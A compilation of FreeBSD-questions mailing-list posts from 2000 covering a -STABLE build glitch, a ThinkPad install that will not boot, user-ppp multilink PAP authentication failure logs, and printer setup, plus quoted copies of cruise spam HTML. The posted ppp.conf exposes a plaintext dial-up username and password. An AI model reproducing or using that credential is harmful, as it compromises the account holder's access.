> This was an actual problem in the sources, but it was only 
> there for a few
> hours.  If you cvsup again, you shouldn't see it any more.  
> [Transitory
> problems of this sort are an unavoidable risk of trying to 
> build sources
> from a development repository, as I assume you did -- 
> downloading releases
> instead of the latest -STABLE *would* avoid such problems.]
> 
> Be well.

I'm not gutsy enought to go w/ -CURRENT, if that's what you're refering to
:-)  And as far as I knew, -RELEASE is the actual release source that gets
promoted by FreeBSD.org and pressed onto CD's, while -STABLE is the
'kept-up-to-date' version that's obtainable by updating and recompiling the
source (http://www.freebsd.org/handbook/current-stable.html)  I was
presently at 4.1 -STABLE before this, and was going to try out a whole bunch
of new servers (samba and some gnome stuff), so I wanted to update the
source and rebuild.  I knowingly updated just the RELENG_4 branch, so I
might have just caught a transitory bug, like you suggested.

Thanks for the insight, and if you know of anything else that might help me
out, I would appreciate all comments.


Jon
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I've just attempted an install of 4.0 onto a IBM ThinkPad A20. After what
seemed like a perfect install it refuses to boot or even be able to get to
the bios. I looked in the archives and found a few people with the exact
same issue varying in ways to attempt to get it to work on replys to the
messages. It seems the ThinkPad does not like the partition/filesystem
of FreeBSD. Is there a method whereby I can get this thing to run FreeBSD 
that is tried and true? I fought with the IT guys here to be able to
install FreeBSD on this thing and would hate to have to cower back to them
to as for the Linux install disks they insisted on. which I read is
supported as something that won't freak the thing out. 

Thanks.

Keith

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--- Jordan Hubbard <jkh@winston.osd.bsdi.com> wrote:
> [-stable trimmed; please use only one mailing list
> in messages]
> 
> > hi
> > 
> > when will fbsd 4.2 release available on ftp
> servers?
> 
> After it's released on the 15th of November.

Any hints about what will be new or fixed?

-Nate

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I have two modems connected to cuaa0 and cuaa1.  User ppp in interactive
mode can talk to both of them.  ppp in auto seems to intialize ok, and can
dial and connect on the first modem.  However, it can't authenticate with
the server, and I can't read the log well enough to determine why.  It looks
like the server is asking for PAP, but after ppp sends the username and
password something seems to go wrong and I don't know what.

I tried it with a unix-style login chat script, but that's definitly wrong.
The server never sends a login: prompt in the clear.  I checked that in
interactive mode too.

Could someone look this over and tell me what you see?  Thanks.  (ppp.conf
is at the bottom)

Oct 27 11:49:44 brittany ppp[228]: Phase: Using interface: tun0
Oct 27 11:49:44 brittany ppp[228]: Phase: deflink: Created in closed state
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: default: set speed 115200
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: default: set dial ABORT
BUSY ABORT NO\sCARRIER ABORT NO\sDIALTONE TIMEOUT 5            "" AT
OK-AT-OK ATE1Q0 OK \dATDT\T TIMEOUT 40 CONNECT
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: fisi_multi_auto: load
fisi_auth
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: fisi_auth: set phone
326-5625
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: fisi_auth: set authname
avalon

Oct 27 11:49:44 brittany ppp[228]: tun0: Command: fisi_auth: set authkey
********
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: fisi_multi_auto: load
multi_auto
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: set reconnect
10 0
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: set mrru 1500
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: set mru 1504
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: set login
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: set timeout
600
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: set ifaddr
10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: add default
HISADDR
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: enable dns
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: nat enable yes
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: link deflink
clone 1 2
Oct 27 11:49:44 brittany ppp[228]: tun0: Phase: 1: Cloned in closed state
Oct 27 11:49:44 brittany ppp[228]: tun0: Phase: 2: Cloned in closed state
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: link deflink
remove
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: link * set
mode auto
Oct 27 11:49:44 brittany ppp[229]: tun0: Phase: PPP Started (auto mode).

This to me looks like the auto mode was set up correctly at least to the
point of dialing.

Here's what happened when I tried to open an ftp connection to the outside:

Oct 27 11:49:53 brittany ppp[229]: tun0: Phase: bundle: Establish
Oct 27 11:49:53 brittany ppp[229]: tun0: Phase: 1: closed -> opening
Oct 27 11:49:53 brittany ppp[229]: tun0: Phase: 1: Connected!
Oct 27 11:49:53 brittany ppp[229]: tun0: Phase: 1: opening -> dial
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Phone: 326-5625
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: 1: Dial attempt 1 of 1
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Send: AT^M
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Expect(5): OK
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Received: ^M
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Received: OK^M
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Send: ATE1Q0^M
Oct 27 11:49:53 brittany ppp[229]: tun0: Chat: Expect(5): OK
Oct 27 11:49:54 brittany ppp[229]: tun0: Chat: Received: ^M
Oct 27 11:49:54 brittany ppp[229]: tun0: Chat: Received: OK^M
Oct 27 11:49:54 brittany ppp[229]: tun0: Chat: Send: ATDT326-5625^M
Oct 27 11:49:56 brittany ppp[229]: tun0: Chat: Expect(40): CONNECT
Oct 27 11:50:26 brittany ppp[229]: tun0: Chat: Received: ATDT326-5625^M^M
Oct 27 11:50:26 brittany ppp[229]: tun0: Chat: Received: CONNECT 31200^M
Oct 27 11:50:26 brittany ppp[229]: tun0: Phase: 1: dial -> carrier
Oct 27 11:50:27 brittany ppp[229]: tun0: Phase: 1: /dev/cuaa0: CD detected
Oct 27 11:50:27 brittany ppp[229]: tun0: Phase: 1: carrier -> login
Oct 27 11:50:27 brittany ppp[229]: tun0: Phase: 1: login -> lcp
Oct 27 11:50:27 brittany ppp[229]: tun0: LCP: FSM: Using "1" as a transport
Oct 27 11:50:27 brittany ppp[229]: tun0: LCP: 1: State change Initial -->
Closed
Oct 27 11:50:27 brittany ppp[229]: tun0: LCP: 1: State change Closed -->
Stopped
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: LayerStart
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: SendConfigReq(1) state =
Stopped
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACFCOMP[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  PROTOCOMP[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACCMAP[6] 0x00000000
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRU[4] 1500
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MAGICNUM[6] 0x8dfb2a46
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRRU[4] 1500
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  SHORTSEQ[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: State change Stopped -->
Req-Sent
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: RecvConfigReq(1) state =
Req-Sent
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRU[4] 1522
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACCMAP[6] 0x000a0000
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  AUTHPROTO[4] 0xc023 (PAP)
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MAGICNUM[6] 0x2c391edd
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACFCOMP[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRRU[4] 1522
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  SHORTSEQ[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ENDDISC[9] MAC
00:80:d3:8b:1b:00
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  LDBACP[4] 847a
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: SendConfigRej(1) state =
Req-Sent
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  LDBACP[4] 847a
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: Sending ident magic 8dfb2a46
text
user-ppp 2.27 (built Sep 25 2000)
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: SendIdent(0) state =
Req-Sent
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: RecvConfigAck(1) state =
Req-Sent
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: State change Req-Sent -->
Ack-Rcvd
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: RecvConfigReq(2) state =
Ack-Rcvd
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRU[4] 1522
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACCMAP[6] 0x000a0000
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  AUTHPROTO[4] 0xc023 (PAP)
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MAGICNUM[6] 0x2c391edd
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACFCOMP[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRRU[4] 1522
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  SHORTSEQ[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ENDDISC[9] MAC
00:80:d3:8b:1b:00
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: SendConfigAck(2) state =
Ack-Rcvd
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRU[4] 1522
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACCMAP[6] 0x000a0000
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  AUTHPROTO[4] 0xc023 (PAP)
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MAGICNUM[6] 0x2c391edd
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ACFCOMP[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  MRRU[4] 1522
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  SHORTSEQ[2]
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP:  ENDDISC[9] MAC
00:80:d3:8b:1b:00
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: State change Ack-Rcvd -->
Opened
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: LayerUp
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: Sending ident magic 8dfb2a46
text user-ppp 2.27 (built Sep 25 2000)
Oct 27 11:50:28 brittany ppp[229]: tun0: LCP: 1: SendIdent(1) state = Opened
Oct 27 11:50:28 brittany ppp[229]: tun0: Phase: bundle: Authenticate
Oct 27 11:50:28 brittany ppp[229]: tun0: Phase: 1: his = PAP, mine = none
Oct 27 11:50:28 brittany ppp[229]: tun0: Phase: Pap Output: avalon ********
Oct 27 11:50:32 brittany ppp[229]: tun0: Phase: Pap Output: avalon ********

It looks like here is where the trouble starts:

Oct 27 11:50:32 brittany ppp[229]: tun0: Phase: Pap Input: SUCCESS dropped
(got id 1, not 2)
Oct 27 11:50:32 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:32 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:32 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:32 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:32 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:32 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:32 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:32 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:34 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:34 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:34 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:34 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:34 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:34 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:34 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:34 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:35 brittany ppp[229]: tun0: Phase: Pap Output: avalon ********
Oct 27 11:50:36 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:36 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:36 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:36 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:36 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:36 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:36 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:36 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Opened
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: Auth: No response from
server
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: LayerDown
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: SendTerminateReq(2) state =
Opened
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: State change Opened -->
Closing
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Closing
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Closing
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Closing
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: Unexpected protocol 0x003d
(Multi-Link)
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: SendProtocolRej(2) state =
Closing
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: RecvTerminateAck(2) state =
Closing
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: LayerFinish
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: State change Closing -->
Closed
Oct 27 11:50:38 brittany ppp[229]: tun0: LCP: 1: State change Closed -->
Initial
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: 1: Disconnected!
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: 1: lcp -> logout
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: 1: logout -> hangup
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: 1: Disconnected!
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: 1: Connect time: 45 secs:
979 octets in, 1620 octets out
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase: 1: : 20 packets in, 25
packets out
Oct 27 11:50:38 brittany ppp[229]: tun0: Phase:  total 57 bytes/sec, peak
308 bytes/sec on Fri Oct 27 11:50:38 2000

This is ppp.conf

#################################################################
# PPP  Sample Configuration File
# Originally written by Toshiharu OHNO
# Simplified 5/14/1999 by wself@cdrom.com
#
# See /usr/share/examples/ppp/ for some examples
#
# $FreeBSD: src/etc/ppp/ppp.conf,v 1.2.2.1 2000/08/18 08:33:02 jhb Exp $
#################################################################

default:
 ident user-ppp VERSION (built COMPILATIONDATE)

 # Ensure that "device" references the correct serial port
 # for your modem. (cuaa0 = COM1, cuaa1 = COM2)
 set device /dev/cuaa0 /dev/cuaa1

 set log Phase Chat LCP IPCP CCP tun command
 set speed 115200
 set dial "ABORT BUSY ABORT NO\\sCARRIER ABORT NO\\sDIALTONE TIMEOUT 5 \
           \"\" AT OK-AT-OK ATE1Q0 OK \\dATDT\\T TIMEOUT 40 CONNECT"

fisi_multi_auto:
 load fisi_auth
 load multi_auto

fisi_auth:
 set phone 326-5625
 set authname avalon
 set authkey tflaa09

# If you want to use PAP or CHAP instead of using a unix-style login
# procedure, do the following.  Note, the peer suggests whether we
# should send PAP or CHAP.  By default, we send whatever we're asked for.
#
multi_auto:
 # Reconnect after loss of carrier, with 10 second delays between each
attempt:
 set reconnect 10 0

 # To enable multilink capabilities, you must specify a MRRU.  1500 is
 # a reasonable value.  To create new links, use the ``clone'' command
 # to duplicate an existing link.  If you already have more than one
 # link, you must specify which link you wish to run the command on via
 # the ``link'' command.
 set mrru 1500
 set mru 1504               # Room for the MP header

# set login "ABORT NO\\sCARRIER TIMEOUT 5 ogin:--ogin: avalon word: \\P"
 set login
 set timeout 600			# 10 minute idle timer
 set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0
 add default HISADDR
 enable dns
 nat enable yes

 # All the examples clone links '1' and '2', and remove 'deflink';
 # I don't know why deflink can't be used.
 link deflink clone 1 2
 link deflink remove
 link * set mode auto

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> Re: 7 day Mexican Riviera...
> Re: where to find freebsd networking details?
> Re: ctrl key to show current system operation?
> Re: Add a system call
> Re: problems with 4.2 beta and licq-0.85 onwards
> kernel problems
> Re: problems with 4.2 beta and licq-0.85 onwards
> Re: natd errors.
> Re: ctrl key to show current system operation?
> prog exec time
> Re: natd errors.
> Re: prog exec time
> Re: ad0: DMA problem fallback to PIO mode; HARD READ
> ERROR blk#25418687
> Re: Help With Vinum Syntax
> Re: A few questions
> Re: A few questions
> Re: problems with 4.2 beta and licq-0.85 onwards
> Re: ad0: DMA problem fallback to PIO mode; HARD READ
> ERROR blk#25418687
> I can't login to my server to root forgot my
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> buildworld error
> Re: I can't login to my server to root forgot my
> password please help!
> Xfree86 video cards
> Re: Compatibility
> Re: prog exec time
> Re: ad0: DMA problem fallback to PIO mode; HARD READ
> ERROR blk#25418687
> Re: A few questions
> Utilities for HFS 
> Re: 7 day Mexican Riviera...
> Can i run apache1.3.14 on the freebsd
> Re: A question about KDE2
> Re: Add a system call
> question about compile KDE2-libs
> question about compile Kde2-libs
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> <META
> NAME=3D"description" CONTENT=3D"CRUISE WHOLESALE -
> Your wholesale cruise source 
> and specialists! ">
> <META
> NAME=3D"keywords" CONTENT=3D"cruise, cruises, ocean
> cruising, ocean tours, sea 
> travel, cruise ships, ships, ocean liners, travel,
> tours, pacific, atlantic, 
> Caribbean, Alaska, Mexico, Puerto Viarta, Hawaii,
> Panama Canal, Bahamas, 
> Europe, Carnival, Princess, Royal Caribbean,
> Celebrity, Disney cruises, NCL, 
> Norwegian, Crystal, Cunard, Cosmos, Mississippi
> river boats, vacations, 
> shipboard, asta, clia, crown travel group, cruise
> lines international 
> association, travel agents ">
> <META NAME=3D"author" CONTENT=3D"M. L. Ludiker
> Artwork & Design">
> <META NAME=3D"Window-target" CONTENT=3D"top">
> <META NAME=3D"robots" CONTENT=3D"all">
> <META NAME=3D"revisit-after" CONTENT=3D"15
> days"></HEAD>
> <BODY
> BGCOLOR=3D"#FFFFFF" TEXT=3D"#0000A0"
> LINK=3D"#0000A0" VLINK=3D"#0000A0" 
> ALINK=3D"#0000A0">
> <p align=3D"center"><font face=3D"Arial Black"
> size=3D"3" color=3D"#FF0000">Attention 
> <embedstr=3Dfname>,
> If you have ever thought about taking a 7 day
> cruise, NOW IS THE TIME! See 
> below
> for details.......</font></p>
> <TABLE BORDER=3D"0" ALIGN=3D"CENTER" WIDTH=3D"95%">
> <TR>
> <TD COLSPAN=3D"2" NOWRAP=3D"NoWrap"><IMG
>
SRC=3D"http://www.cruisewholesale.com/images/cruiselogo.gif"
> BORDER=3D"0" 
> WIDTH=3D"468" HEIGHT=3D"162"><IMG
>
SRC=3D"http://www.cruisewholesale.com/images/suncruise.gif"
> WIDTH=3D"175" 
> HEIGHT=3D"159">
>   <p align=3D"center"><font face=3D"Lucida Sans"
> size=3D"4">.... All About 
> Travel/cruisewholesale.com
>   </font><font face=3D"Arial Black" size=3D"4">is
> offering a fabulous</font></p>
>   <p align=3D"center"><font face=3D"Arial Black"
> size=3D"4">7day Mexican Riviera
>   Cruise, on Carnival Cruise Lines ship</font></p>
>   <p align=3D"center"><font face=3D"Arial Black"
> size=3D"4">The Elation, for the 
> LOW
>   LOW PRICE of</font></p>
>   <p align=3D"center"><font face=3D"Arial Black"
> color=3D"#FF0000" size=3D"5">$460.
> 00**</font></p>
>   <p align=3D"center"><font face=3D"Arial Black"
> color=3D"#000080" size=3D"3">This 
> low
>   price is only good for sailing on&nbsp;</font></p>
>   <p align=3D"center"><font face=3D"Arial Black"
> color=3D"#000080" size=3D"3">Sunday
>   January 21, 2001 and space is limited.</font></p>
>   <p align=3D"center"><font face=3D"Arial Black"
> color=3D"#000080" 
> size=3D"3">Reservation
>   must be booked and paid for by November 8,
> 2000.</font></p>
>   <p align=3D"center"><font face=3D"Arial Black"
> color=3D"#000080" size=3D"3">To 
> learn
>   more and/or make your reservation simply <a
> href=3D"http://www.
> cruisewholesale.com/contact.htm">click
> here.</a></font></p>
>   <p>&nbsp;</p>
>   <p>&nbsp;</p>
> </TD></TR></TABLE>
> <TABLE BORDER=3D"0" ALIGN=3D"CENTER" WIDTH=3D"95%">
> <TR>
> <TD WIDTH=3D"150" NOWRAP=3D"NoWrap" VALIGN=3D"TOP"
> ROWSPAN=3D"2"><B><FONT
> SIZE=3D"-1" FACE=3D"arial"><FONT
> COLOR=3D"#800000">Home</FONT><BR><a 
>
HREF=3D"http://www.cruisewholesale.com/cruiseinfo.htm">Cruise
> 
> Information</a><BR><a
>
HREF=3D"http://www.cruisewholesale.com/cruisedates.htm"
> 
> NAME=3D"Cruises Dates">Cruise Specials</a><BR><a
> HREF=3D"http://www.
> cruisewholesale.com/membership.htm" NAME=3D"Free
> Membership">No Fee 
> Membership</a><BR><a
>
HREF=3D"http://www.cruisewholesale.com/travelservices.htm"
> 
> NAME=3D"Other Travel Services">Other Travel
> Services</a><BR><a HREF=3D"http://www.
> cruisewholesale.com/cruisefaq.htm"
> NAME=3D"FAQ">FAQ</a><BR><a HREF=3D"http://www.
> cruisewholesale.com/travelpolicy.htm"
> NAME=3D"Policy">Policy</a><BR><a 
> HREF=3D"http://www.cruisewholesale.com/contact.htm" 
>
NAME=3D"Contact">Contact</a><BR><A></A></FONT><BR><BR></B></TD>
> 
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yes. use apsfilter. check http://www.freebsd.org/~andreas/
hth
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On Thu, 2 Nov 2000 satkal79@yahoo.com wrote:

> Is it possible to use other printer other than laser
> printer for freebsd4.1.1? How can i configure my canon
> BJC-210SP to be used in FreeBsd OS?
> 
> 
> --- questions-digest
> <owner-freebsd-questions-digest@FreeBSD.ORG> wrote:
> > 
> > questions-digest     Wednesday, November 1 2000    
> > Volume 04 : Number 2026
> > 
> > 
> > 
> > In this issue:
> > 7 day Mexican Riviera Cruise for $460
> > Re: HP Series II print filter
> > Re: WTF!! Building from source
> > Re: WTF!! Building from source
> > Re: 7 day Mexican Riviera...
> > Re: 7 day Mexican Riviera...
> > Re: 7 day Mexican Riviera...
> > Re: where to find freebsd networking details?
> > Re: ctrl key to show current system operation?
> > Re: Add a system call
> > Re: problems with 4.2 beta and licq-0.85 onwards
> > kernel problems
> > Re: problems with 4.2 beta and licq-0.85 onwards
> > Re: natd errors.
> > Re: ctrl key to show current system operation?
> > prog exec time
> > Re: natd errors.
> > Re: prog exec time
> > Re: ad0: DMA problem fallback to PIO mode; HARD READ
> > ERROR blk#25418687
> > Re: Help With Vinum Syntax
> > Re: A few questions
> > Re: A few questions
> > Re: problems with 4.2 beta and licq-0.85 onwards
> > Re: ad0: DMA problem fallback to PIO mode; HARD READ
> > ERROR blk#25418687
> > I can't login to my server to root forgot my
> > password please help!
> > buildworld error
> > Re: I can't login to my server to root forgot my
> > password please help!
> > Xfree86 video cards
> > Re: Compatibility
> > Re: prog exec time
> > Re: ad0: DMA problem fallback to PIO mode; HARD READ
> > ERROR blk#25418687
> > Re: A few questions
> > Utilities for HFS 
> > Re: 7 day Mexican Riviera...
> > Can i run apache1.3.14 on the freebsd
> > Re: A question about KDE2
> > Re: Add a system call
> > question about compile KDE2-libs
> > question about compile Kde2-libs
> > 
> >
> ----------------------------------------------------------------------
> > 
> > Date: Wed, 01 Nov 2000 12:46:00 -0800
> > From: aim@2takeaim.com
> > Subject: 7 day Mexican Riviera Cruise for $460
> > 
> > This is a multi-part message in MIME format.
> > 
> > - ------=_NextPart_33836503772285
> > Content-Type: text/plain;
> > 	charset="iso-8859-1"
> > Content-Transfer-Encoding: quoted-printable
> > 
> > ALL ABOUT TRAVEL/CRUISEWHOLESALE.COM
> > PRESENTS
> > 
> > A special offer just for you.  We have come across a
> > deal for a 7 day Mexican Riviera cruise, on Carnival
> > Cruise Lines , The Elation, for only $460.00.  This
> > offer is only good for sailing on Sunday January 21,
> > 2001, and space is limited.   The deadline for
> > booking your spot on this cruise is November 8,
> > 2000.  For more information please visit our webpage
> > at http://www.cruisewholesale.com/contact.htm .
> > 
> > 
> > 
> > We are dedicated to responsible marketing.  If you
> > feel you have received this email by mistake and do
> > not wish to receive any more please respond to
> > remove@2takeaim.com and place remove in the subject
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> > 
> > - ------=_NextPart_33836503772285
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> > 	charset="iso-8859-1"
> > Content-Transfer-Encoding: quoted-printable
> > 
> > <HTML>
> > <HEAD>
> > <TITLE>CRUISE WHOLESALE</TITLE>
> > <META
> > NAME=3D"description" CONTENT=3D"CRUISE WHOLESALE -
> > Your wholesale cruise source 
> > and specialists! ">
> > <META
> > NAME=3D"keywords" CONTENT=3D"cruise, cruises, ocean
> > cruising, ocean tours, sea 
> > travel, cruise ships, ships, ocean liners, travel,
> > tours, pacific, atlantic, 
> > Caribbean, Alaska, Mexico, Puerto Viarta, Hawaii,
> > Panama Canal, Bahamas, 
> > Europe, Carnival, Princess, Royal Caribbean,
> > Celebrity, Disney cruises, NCL, 
> > Norwegian, Crystal, Cunard, Cosmos, Mississippi
> > river boats, vacations, 
> > shipboard, asta, clia, crown travel group, cruise
> > lines international 
> > association, travel agents ">
> > <META NAME=3D"author" CONTENT=3D"M. L. Ludiker
> > Artwork & Design">
> > <META NAME=3D"Window-target" CONTENT=3D"top">
> > <META NAME=3D"robots" CONTENT=3D"all">
> > <META NAME=3D"revisit-after" CONTENT=3D"15
> > days"></HEAD>
> > <BODY
> > BGCOLOR=3D"#FFFFFF" TEXT=3D"#0000A0"
> > LINK=3D"#0000A0" VLINK=3D"#0000A0" 
> > ALINK=3D"#0000A0">
> > <p align=3D"center"><font face=3D"Arial Black"
> > size=3D"3" color=3D"#FF0000">Attention 
> > <embedstr=3Dfname>,
> > If you have ever thought about taking a 7 day
> > cruise, NOW IS THE TIME! See 
> > below
> > for details.......</font></p>
> > <TABLE BORDER=3D"0" ALIGN=3D"CENTER" WIDTH=3D"95%">
> > <TR>
> > <TD COLSPAN=3D"2" NOWRAP=3D"NoWrap"><IMG
> >
> SRC=3D"http://www.cruisewholesale.com/images/cruiselogo.gif"
> > BORDER=3D"0" 
> > WIDTH=3D"468" HEIGHT=3D"162"><IMG
> >
> SRC=3D"http://www.cruisewholesale.com/images/suncruise.gif"
> > WIDTH=3D"175" 
> > HEIGHT=3D"159">
> >   <p align=3D"center"><font face=3D"Lucida Sans"
> > size=3D"4">.... All About 
> > Travel/cruisewholesale.com
> >   </font><font face=3D"Arial Black" size=3D"4">is
> > offering a fabulous</font></p>
> >   <p align=3D"center"><font face=3D"Arial Black"
> > size=3D"4">7day Mexican Riviera
> >   Cruise, on Carnival Cruise Lines ship</font></p>
> >   <p align=3D"center"><font face=3D"Arial Black"
> > size=3D"4">The Elation, for the 
> > LOW
> >   LOW PRICE of</font></p>
> >   <p align=3D"center"><font face=3D"Arial Black"
> > color=3D"#FF0000" size=3D"5">$460.
> > 00**</font></p>
> >   <p align=3D"center"><font face=3D"Arial Black"
> > color=3D"#000080" size=3D"3">This 
> > low
> >   price is only good for sailing on&nbsp;</font></p>
> >   <p align=3D"center"><font face=3D"Arial Black"
> > color=3D"#000080" size=3D"3">Sunday
> >   January 21, 2001 and space is limited.</font></p>
> >   <p align=3D"center"><font face=3D"Arial Black"
> > color=3D"#000080" 
> > size=3D"3">Reservation
> >   must be booked and paid for by November 8,
> > 2000.</font></p>
> >   <p align=3D"center"><font face=3D"Arial Black"
> > color=3D"#000080" size=3D"3">To 
> > learn
> >   more and/or make your reservation simply <a
> > href=3D"http://www.
> > cruisewholesale.com/contact.htm">click
> > here.</a></font></p>
> >   <p>&nbsp;</p>
> >   <p>&nbsp;</p>
> > </TD></TR></TABLE>
